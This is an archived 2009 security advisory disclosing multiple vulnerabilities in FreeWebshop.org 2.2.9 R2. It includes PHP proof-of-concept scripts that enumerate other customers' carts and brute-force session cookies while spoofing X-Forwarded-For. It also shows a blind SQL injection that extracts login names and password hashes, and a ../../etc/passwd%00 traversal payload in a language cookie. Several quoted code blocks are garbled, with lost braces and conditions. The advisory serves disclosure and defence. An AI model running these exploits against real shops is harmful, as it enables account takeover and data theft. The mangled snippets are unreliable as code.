TUCoPS :: HP Unsorted F :: bu-1357.htm

FreeWebshop.org: multiple vulnerabilities
FreeWebshop.org: multiple vulnerabilities
FreeWebshop.org: multiple vulnerabilities

Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

FreeWebshop.org: multiple vulnerabilities
Yorick Koster, March 2009

While doing a quick sweep over the code base of FreeWebshop.org (FWS)
several vulnerabilities have been found in FWS. These vulnerabilities
allow attackers to obtain arbitrary information from the webserver and
database. It is even possible to execute arbitrary code with the
privileges of FWS. In some cases it may even be possible to fully
compromise the system on which FWS is installed. Most of these issues
are related to the fact that FWS fully trusts the content of the cookies
that it receives.  These issues were discovered within a very small
time frame, it is likely that more issues exist within FWS. A full
security review of the code base is recommended to increase the security
of FWS.

Tested versions
The issues mentioned in this document were tested on FreeWebshop.org
2.2.9 R2.

There is currently no fix available.

FreeWebshop.org [2] (FWS) is a free, full featured software package that
allows you to set up your own online webshop within minutes. FWS is
written in the popular language PHP and uses a MySQL database. It is
designed to provide you with all the features you need from a webshop.

Insecure installation instructions
Besides changing the default password for the admin user and removing
the install.php script, no specific instructions are provided to secure
the installation of FWS. The manual assumes that FWS is installed on a
LAMP server (Linux, Apache, MySQL & PHP). If the ZIP archive is
extracted or the files are uploaded to the document root of the
webserver, the new files and directories will be created based on the
active umask. In most cases, this will give read & write access to
the owner of the files and read access for all other users.

Since FWS needs to write to certain files and directories, the
instructions in the manual tell you to specifically set file permissions
on a specific set of files and directories. For files, the owner, group
and world are all given read & write permissions including the file
settings.inc.php. For directories the execute bit is also set. The file
settings.inc.php contains the database username and password. In case 
of a shared hosting environment, this allows for local user to obtain
these credentials. Since local users also have write access, it is even
possible to add or change PHP instructions to this file. Local user can
also create new files in the directories for which the file permissions
have been changed. Since these directories normally exist within the
document root, it is possible to create new PHP scripts and execute
these scripts using the webserver.

If the webserver is configured insecurely (for example the PUT option
has been enabled) or one of the applications hosted on the webserver
contains a vulnerability, it is even possible for unauthenticated remote
attackers to make similar changes. This can eventually lead to a
complete compromise of the entire system.

IP spoofing
When a user logs into FWS, the user's IP address is stored in the
database. This is done to prevent replay of (stolen) session cookies. If
FWS is called with a session cookie from a different IP address, the
user will not be logged into FWS. The IP address is obtained using
GetUserIP(). This function first checks whether the HTTP request
contains the X-Forwarded-For or Client-IP HTTP headers. These headers
are normally set by proxy servers to expose the user's real IP
address to the webservers. If these headers are found, FWS will uses the
value of the header as the user's IP address. If these headers are
not set, FWS uses the IP address of the connecting party.


// get user IP
function GetUserIP() {
if (isset($_SERVER)) { if 
{ $ip = $_SERVER["HTTP_CLIENT_IP"]; } 
else { $ip = $_SERVER["REMOTE_ADDR"]; }
else { if ( getenv( 'HTTP_X_FORWARDED_FOR' ) ) 
{ $ip = getenv( 'HTTP_X_FORWARDED_FOR' ); } 
elseif ( getenv( 'HTTP_CLIENT_IP' ) ) 
{ $ip = getenv( 'HTTP_CLIENT_IP' ); } 
else { $ip = getenv( 'REMOTE_ADDR' ); }
return $ip;     

This logic is flawed as it assumes that only proxy servers set these
HTTP headers. The fact is that the client is under complete control of
the attacker, which allows the attacker to set any arbitrary HTTP header
including the X-Forwarded-For and Client-IP headers. Consequently, it
is possible for attackers to spoof any IP address (through GetUserIP())
using either one of these headers.

Unsafe session handling
FWS uses its own session handler instead of the default one provided
with PHP. There are many pitfalls when dealing with sessions. It is
generally not advised to create your own session handler. Common errors
made when doing so are the creation of predictable session identifiers
or the possibility of replay of session information.

The session handlers uses two different cookies, one for logged in users
named fws_cust and one for guest users that is named fws_guest. FWS
will first check if the fws_cust cookie has been set by the browser. If
this is the case, it will split the cookie value on the dash character
(-) and it sets the name, customerid and md5pass parameters.


// open the cookie and read the fortune ;-)
if (isset($_COOKIE['fws_cust'])) { 
$fws_cust = explode("-", $_COOKIE['fws_cust']);
$name = $fws_cust[0];
$customerid = $fws_cust[1];
$md5pass = $fws_cust[2];

If the fws_cust cookie has not been set, FWS will check if the fws_guest
is set. If not, FWS creates a new session identifier that is stored 
within an new fws_guest cookie. This cookies is valid for one hour. Its
value is stored within the parameter customerid. If the fws_guest cookie
is set, FWS will just store its value in customerid.


// you're not logged in, so you're a guest. let's see if you already
have a session id
if (!isset($_COOKIE['fws_guest'])) { 
$fws_guest = create_sessionid(8); // create a sessionid of 8 numbers,
assuming a shop will never get 10.000.000 customers it's always a non
existing customer id
setcookie ("fws_guest", $fws_guest, time()+3600);
$customerid = $fws_guest;
else {
$customerid = $_COOKIE['fws_guest'];

The parameter customerid is used in various places. Its main purpose is
to maintain the state of the shopping cart. If it is possible to predict
this value, it is possible to view and modify another user's cart.
For guest users, the value is generated using the create_sessionid()
function. This function generates session identifiers based on the
current time and the function mt_rand(). The last function creates
random values using the Mersenne Twister algorithm. FWS seeds mt_rand()
every time create_sessionid() is called. mt_rand() will produce the same
set of random values if the same seed is provided. Since the attacker
knows the current time, it will be possible to generate the exact same
session identifiers. Consequently, an attacker will be able to calculate
valid session identifiers, which allows the attacker to manipulate
another user's cart.


function create_sessionid($length)
for($i=1; $i<=$length; $i++)
mt_srand((double)microtime() * 1000000);
$num = mt_rand(27,36);
$rand_id .= assign_rand_value($num);
return $rand_id;

The value stored in customerid actually represent a primary key within
the MySQL database. No validation is done to check if it contains a
valid session identifier. Because of this, it is possible to set the
fws_guest to any arbitrary value. This allows for enumeration of valid
customer identifiers. It also allows attackers to modify carts of logged
on users or saved cards of previously logged on users. This is
demonstrated in the following PHP script (Dutch):

$max = 1000;

for($customerid = 1; $customerid <= $max; $customerid++)
echo "

Customerid: " . $customerid . "

\n"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_COOKIE, "fws_guest=" . $customerid); $result = curl_exec($ch); curl_close($ch); $result = str_replace("\n", "", $result); preg_match("/(Wat zit er in uw winkelwagen.*)<\/table>/", $result, $matches); echo strip_tags($matches[1]); } ?> If a user successfully logs in, the fws_guest cookie is replaced with a fws_cust cookie. The content of the shopping cart is transfered to the one corresponding with the user's customerid. The cookie value contains the username, customer identifier and the password that has been hashed with the MD5 algorithm (twice). As long as the user does not change his/her password, the value of this cookie will remain the same. This cookie is used to check if a user is logged on or not. If an attacker can steal this cookie value, it will be possible to use this cookie to logon as this user until the password changes. There is one limitation, the attacker will have to spoof the user's IP address as this value is stored in the database and compared by FWS. The spoofing flaw described above can be used to circumvent this measure. ------------------------------------------------------------------------ Insufficient protection of passwords ------------------------------------------------------------------------ An MD5 hash value of the passwords of the users of FWS is stored in the database. FWS use these values to validated passwords entered by users. MD5 is one way, the original value can't be easily obtained from the result of an MD5 hash. Since only the hash value is stored, it is possible to find users with the same hash value and thus with the same password. It is even possible to quickly obtain passwords by looking them up in so-called rainbow tables. If users do not pick strong passwords, this attack is quite trivial. In addition, a malicious administrator or attacker can even try to brute force the password using a dictionary or by trying all combinations. FWS takes no measures to prevent these attacks. ------------------------------------------------------------------------ Insufficient protection against brute force attacks ------------------------------------------------------------------------ The login page of FWS is not protected against brute force attacks in which an attacker tries to log on with various username and password combinations. These attacks are not detected by FWS and FWS does not implement measures to thwart these kind of attacks for example by using timeouts and/or locking. In addition, due to the way session handling is implemented, it is even possible to execute brute force attacks on the session cookies. In this case, it is not required to know the correct username(s). First lets look at the LoggedIn() function that checks if the user is logged on using the fws_cust cookie. // is the visitor logged in? Function LoggedIn() { Global $dbtablesprefix; if (!isset($_COOKIE['fws_cust'])) { return false; } $fws_cust = explode("-", $_COOKIE['fws_cust']); $customerid = $fws_cust[1]; $md5pass = $fws_cust[2]; if (is_null($customerid)) { return false; } $f_query = "SELECT * FROM ".$dbtablesprefix."customer WHERE ID = " . $customerid; $f_sql = mysql_query($f_query) or die(mysql_error()); while ($f_row = mysql_fetch_row($f_sql)) { if (md5($f_row[2]) == $md5pass) { if ($f_row[6] == GetUserIP()) { return true; } else { return false; } } else { return false; } } return false; } This function extracts the customer identifier from the cookie, which is used in an SQL query. It than retrieves the MD5 value of the password from the result set, uses it to calculate a new MD5 value and than compares it with the derived password value from the cookie. If these values matches, the IP address is checked. If everything is correct, the function returns true indicating that the user is logged on. An attacker can enumerate through a set of predefined customer identifiers starting with one and check whether it is possible to login using common password or the attacker can try all password combinations. Example (Dutch): ""; $max = 1000; $passwords = array("admin_1234", "admin", "password"); $ipspoof = ""; for($customerid = 1; $customerid <= $max; $customerid++) { foreach($passwords as $password) { $cookie = "fws_cust=foobar-" . $customerid . "-" . md5(md5($password)); $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: " . $ipspoof . "\n")); $result = curl_exec($ch); curl_close($ch); if(preg_match("/Persoonlijke pagina/", $result)) { echo "Found password: " . $password . " for customerid: " . $customerid . "
\n"; echo "Cookie: " . $cookie . "
\n"; } } } ?> The only limitation here is the IP check that is performed, which requires the attacker to correctly spoof an IP address. ------------------------------------------------------------------------ SQL injection ------------------------------------------------------------------------ When FWS reads the session cookies, no validation is performed on the value of these cookies. However these cookie values are used in various parts of FWS. In a lot of places, the values are used insecurely within SQL statements. This allows attackers to alter SQL statements, resulting in the execution of arbitrary SQL statements with the same privileges as the database user that is used to connect to the database. An example of this issue can be found within the function LoggedIn(). includes/sub.inc.php: // is the visitor logged in? Function LoggedIn() { Global $dbtablesprefix; if (!isset($_COOKIE['fws_cust'])) { return false; } $fws_cust = explode("-", $_COOKIE['fws_cust']); $customerid = $fws_cust[1]; $md5pass = $fws_cust[2]; if (is_null($customerid)) { return false; } $f_query = "SELECT * FROM ".$dbtablesprefix."customer WHERE ID = " . $customerid; $f_sql = mysql_query($f_query) or die(mysql_error()); while ($f_row = mysql_fetch_row($f_sql)) { if (md5($f_row[2]) == $md5pass) { if ($f_row[6] == GetUserIP()) { return true; } else { return false; } } else { return false; } } return false; } This issue can be exploited through a specially crafted fws_cust cookie. For example it should be possible to trick FWS into thinking the user is logged on. However, when the default template is used, FWS will produce an error when an attacker tries to do so. It appears that other queries are executed before this query is executed. If one of these queries fails, FWS will call the die() function. This will stop the execution of the PHP script, consequently the vulnerable function LoggedIn() will not be called. Other functions are affected as well, so the first vulnerable function that is called can be exploited by attackers. In case of FWS this is (normally) the function CountCart(). includes/sub.inc.php: // how many items in the cart? Function CountCart($customerid) { Global $dbtablesprefix; $num_prod=0; $query = "SELECT * FROM `".$dbtablesprefix."basket` WHERE (CUSTOMERID=".$customerid." AND ORDERID=0)"; $sql = mysql_query($query) or die(mysql_error()); while ($row = mysql_fetch_row($sql)) { $num_prod = $num_prod + $row[6]; } return $num_prod; } An attacker can exploit this issue to, for example, extract arbitrary data from the database. In the code above it can be seen that only the 7th field of the result set is used as (an integer) return value, which is later used in the output. This makes it harder to exploit this issue. By setting the customer identifier, through a specially crafted cookie, to the value 0) UNION SELECT 1,2,3,4,5,6,ASCII(SUBSTRING(LOGINNAME,1,1)),8 FROM customer WHERE ID=1/* it is possible to read the first character of the login name of the user with a customer identifier of 1. Using a serie of request using different cookie values, it is possible to read arbitrary data from the database. This is demonstrated in the following PHP example (Dutch): ""; $tablename = "fws_customer"; $fieldnames = array("LOGINNAME", "PASSWORD", "IP"); $userid = 1; $loginname = ""; $password = ""; $ip = ""; foreach($fieldnames as $fieldname) { $index = 1; echo $fieldname . ": "; while(TRUE) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_COOKIE, "fws_cust=fubar-0)+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6% 2CASCII(SUBSTRING(" . $fieldname . "%2C" . $index . "%2C1))%2C8+FROM+" . $tablename . "+WHERE+ID%3D" . $userid . "%2F*-md5"); $result = curl_exec($ch); curl_close($ch); preg_match("/Winkelwagen \((\d+)\)/", $result, $matches); if(intval($matches[1]) == 0) { break; } switch($fieldname) { case "LOGINNAME": $loginname .= chr($matches[1]); break; case "PASSWORD": $password .= chr($matches[1]); break; case "IP": $ip .= chr($matches[1]); break; } echo chr($matches[1]); $index++; } echo "
\n"; } echo "
\n"; echo "Login cookie: fws_cust=" . urlencode($loginname) . "-" . urlencode($userid) . "-" . urlencode(md5($password)); echo "
\n"; echo "IP spoof: X-Forwarded-For: " .urlencode($ip); ?> ------------------------------------------------------------------------ Directory traversal ------------------------------------------------------------------------ FWS uses a template mechanism for its look and feel and also supports multiple languages. FWS ships with Dutch and English language files. The file main.txt for each language is actually a PHP script that is included within the web pages. If the user chooses a different language, a cookie containing this language is send to the users browser. This cookie is later used to find the correct language files. No validation is performed on the content of this cookie. This allows attackers to execute a directory traversal attack and included arbitrary local files, allowing the disclosure of arbitrary file content or in some cases even arbitrary code execution if the attacker can manipulate the content of the included language file. This vulnerability exists in the following code: includes/initlang.inc.php: Setting the cookie cookie_lang to the following value will display the contents of the /etc/passwd file: ../../../../../../../etc/passwd%00 It should be noted that this attack uses a NULL byte (%00). Because of this, this attack only works on PHP installations that have disabled 'magic quotes'. ------------------------------------------------------------------------ References ------------------------------------------------------------------------ [1] http://www.akitasecurity.nl/advisory.php?id=AK20090301 [2] http://freewebshop.org/ ------------------------------------------------------------------------ -- ------------------------------------------------------------------------ Akita Software Security (Kvk 37144957) http://www.akitasecurity.nl/ ------------------------------------------------------------------------ Key fingerprint = 5FC0 F50C 8B3A 4A61 7A1F 2BFF 5482 D26E D890 5A65 http://keyserver.pgp.com/vkd/DownloadKey.event?keyid=0x5482D26ED8905A65 --=-nJNPNooY2tPSF+0OwH6/ Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEABECAAYFAks52xkACgkQVILSbtiQWmVswQCdGHw7Cp7m2LDBbflRs/3HYmpQ L10Anjn+AaUqErVk5JM96yErvG8nq7t8 =BmZE -----END PGP SIGNATURE----- --=-nJNPNooY2tPSF+0OwH6/--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH